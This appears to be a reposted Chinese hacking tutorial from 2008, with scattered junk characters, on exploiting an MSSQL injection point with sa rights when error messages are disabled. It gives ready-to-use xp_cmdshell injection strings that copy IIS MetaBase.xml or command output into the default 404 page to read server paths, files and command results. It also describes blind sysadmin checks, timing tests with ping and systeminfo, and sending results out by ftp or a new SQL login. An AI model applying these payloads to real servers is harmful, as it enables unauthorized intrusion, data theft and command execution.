遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
0 i0 u, p3 ]/ m+ r# g$ X' C# o7 c- j4 e' C- L+ F$ k
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。) k: ?/ m ~1 k% ]
- V' x8 c1 `( @8 Q- k& L' n' s' K0 m 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
& u# @+ Z" j- m1 E0 |( U" Q
- H7 L% j& e4 C IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
* B* P8 o. U. j
4 b! ^2 m) D2 [8 \. ~ 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
; l: U8 g/ d9 |* w, h4 R W/ }2 s1 \8 Y' g$ @' l
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
0 t8 m! p! D9 k: t ?
: l& L8 Z. d! l- ] 执行命令得到回显! I v2 D" B9 I3 z. H- J. W
" X+ c" \; I0 m3 j+ J! q 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
, s9 A& z1 d; t4 z, p! n2 h
2 O* M: Y9 Y5 k$ A6 D 得到文件也shi相同,把文件copy到404b.htm就行了
! i5 N/ m& ~; c
! y# } B. R7 c' O8 ` by 28ice, 2008/6/268 |" u! `9 Z) _! |- J' Z6 L, P
1 W5 u, d1 |* H$ K: ]+ ^
摘自 28度的冰- S6 N4 P; X6 [; U+ h' v3 F
/ J& M U, p; f% d2 T( N' O) C 盲注判断权限和操作系统版本8 M. [3 a! `* @
1 O0 Y- p, y: p! I! s r 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?- F8 w9 L/ k( E% {, N: [
& F& @& s- D/ K% c4 N$ }0 K# b) M' P
最简单的,可能以用这样的方法:+ r. z% q1 v! p5 Q+ V' F0 ?) D
) d- X/ _9 K+ o+ l& j( N 1=(select IS_SRVROLEMEMBER(’sysadmin’))" p% O- _, y0 B* s, Y- L. J% X
% O. ?" v5 f) p4 C8 f4 T
当然,有些情况下,这个方法并不奏效。4 X2 b$ T/ D" h: F
2 p1 l! Y; W9 Z; N9 u
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
% K7 B3 T1 l4 `- u! Q" j8 k: O4 D
有个3办法可能以解决这个问题" g5 ^& O! @1 g: s
2 i R" [5 }7 ]' m: Y" J# v; | a.把执行结果写到404b.htm,具体请看我的上一篇文章6 ]3 E Z. L8 y6 X
- w; |* x9 _7 m5 P
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟$ V2 R [: V% v. v! b! _
) ~. a4 |# {) ^4 \+ g7 G c.如果1433端口可能以连接,那干脆新建个sql登录4 {" p, w; Y4 a) R/ T$ `
/ A: V! E% q! v3 _
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
* [* t8 o# @2 p5 x6 i% ]* h7 {. ?1 d9 u/ a: q! g' D% L; w
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
& P/ O/ T1 e, ?+ Z4 f" {) S5 V
- M8 R; x$ B' ^! w 很简单
* y) i* \% q$ O. \; |8 X, s- M5 F& d
执行systeminfo
% d4 k6 v( s5 x: u, d7 v& E7 C
7 L( `9 J- v" r' G 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |